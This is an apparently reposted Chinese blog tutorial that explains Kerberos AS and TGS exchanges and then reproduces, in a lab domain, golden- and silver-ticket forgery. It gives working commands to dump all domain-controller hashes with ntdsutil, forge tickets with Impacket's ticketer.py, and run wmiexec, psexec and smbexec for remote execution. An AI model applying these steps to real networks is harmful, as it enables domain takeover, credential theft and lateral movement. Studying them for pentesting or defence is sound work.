Kerberos协议:制作金票银票

1.基础详解

Kerberos协议是一个基于票据(Ticket)的系统,kerberos的两个基础认证模块AS_REQ & AS_REP,TGS_REQ & TGS_REP。以及微软扩展的两个认证模块S4U和PAC。,在Kerberos系统中至少有三个角色:认证服务器(AS),客户端(Client)和普通服务器(Server)。认证服务器对用户进行验证,并发行供用户用来 请求会话票据的TGT(票据授予票据)。票据授予服务(TGS):在发行给客户的TGT的基础上,为网络服务发行ST(会话票据)。
kerberos的简化认证认证过程如下图:
Kerberos协议:制作金票银票_第1张图片

1.KRB_AS_REQ

用户 User 向 KDC 请求,请求授予 TGT( ticket-granting ticket 票证授予票证),该过程就是一个证明你是你的过程。TGT 是一条加密的信息,其中包含会话密钥和用户信息(ID,名称,组等)。而用户向 AS(也可理解为 KDC) 发送的信息为 username+用 user-hash 加密的时间戳。AS 将收到此用户名,并将验证它是否存在于其数据库中。如果存在,则使用hash解密时间戳,以此来确定用户身份并且获得会话时间。

2.KRB_AS_REP

KDC 返回的信息有:

返回客户端与 TGS 的会话密钥,用 User 的 hash 进行加密。
TGT,TGT 使用的是 KDC 上 krbtgt 的 hash 加密,只有 KDC 可以解密,TGT 中包括
用户名(User)。
有效期。
客户端与 TGS 的会话密钥。
PAC(特权属性证书,其中包含了大量的关于用户的具体信息,包括他的标识符(SID)和所在的组)。

此阶段攻击者可以伪造票据授予票据(TGT)就是制作黄金票据;

本地复现:

所用环境:
域控:server2016;192.168.102.53
域内用户:win10(与主机名一直致);
先本地 dump下来域控所有hash:
ntdsutil "activate instance ntds" ifm "create full C:\windows\temp\ntdsutil" quit quit
Kerberos协议:制作金票银票_第2张图片2.制作金票:

python ticketer.py -nthash 567430dc0f49d9466eb628a7a26ea6f1 -domain-sid S-1-5-21-4288872163-1171123276-120135037 -domain sharlongwen.com administrator

Kerberos协议:制作金票银票_第3张图片设置环境变量:

set KRB5CCNAME=C:\Users\w'x'l\Desktop\opt\examples\administrator.ccache

设置host解析 :

192.168.102.55  win10

进行认证:

python wmiexec.py -k -no-pass -dc-ip 192.168.102.53 -debug win10

Kerberos协议:制作金票银票_第4张图片其他的smbexec,psexec,xmbclient文件都可以申请认证;

票务授予服务(TGS)

经过 AS 阶段后,已经完成了身份的验证,用户只要拿着 TGT 即可取申请固定服务的 ST(Client-to-server ticket),需要注意,有的文章中会把 ST 和 TGS 的概念混淆掉,TGS 是整个 kerberos 认证中的一个组成部分,并不是票据。

KRB_TGS_REQ User 要申请服务,例如 申请 SERV01上的 CIFS服务,他将向 TGS 发送信息以换取 ST 发送的信息有: \1. TGT。 \2. 要使用的服务以及关联的主机,即 CIFS/SERV01。 \3. Authenticator(身份验证器),包含他的用户名和当前时间戳,使用 AS 阶段获取的 客户端与 TGS 的会话密钥 加密。

KDC 收到 TGT 后解密拿到 会话密钥,用会话密钥解密 Authenticator ,再与 TGT 中的用户信息做对比,来确定用户身份。

KRB_TGS_REP 验证身份后,KDC 将返回信息,允许用户向服务提出请求。 返回的信息有:

客户端与服务端的会话密钥(用 AS 阶段的会话密钥加密 即 用客户端与 TGS 的会话密钥加密)
ST,用服务端的 hash 加密,ST 中包括

  • 请求的服务 (CIFS/SERV01)
  • 客户的用户名 (User)
  • PAC
  • 客户端与服务端的会话密钥

这个阶段可以伪造白银票据(ST):

python ticketer.py -nthash 域内机器用户hash  -domain-sid 域SID -domain 域名 -spn 服务名/机器用户名.域名 域内管理员的用户名
python ticketer.py -nthash 97e3d0c7e68a87674132bf333532cb36 -domain-sid S-1-5-21-4288872163-1171123276-120135037 -domain sharlongwen.com -spn CIFS/WIN7.sharlongwen.com administrator

设置环境变量:

set KRB5CCNAME=C:\Users\w'x'l\Desktop\opt\examples\administrator.ccache
python smbclient.py -k -no-pass win10 -debug

Kerberos协议:制作金票银票_第5张图片

python wmiexec.py -k -no-pass win10 -debug

Kerberos协议:制作金票银票_第6张图片python psexec.py -k -no-pass win7 -debug

Kerberos协议:制作金票银票_第7张图片可以发现这种方式是上传了个文件

python smbexec.py -k -no-pass win10 -debug

Kerberos协议:制作金票银票_第8张图片
这种方式是远程执行了一个bat文件.

总结

金票就是获得了TGT,需要向DC进行通信
银票获得了ST.不需要 向域控进行通信

你可能感兴趣的:(内网渗透,python,网络安全,网络协议,linux,系统安全)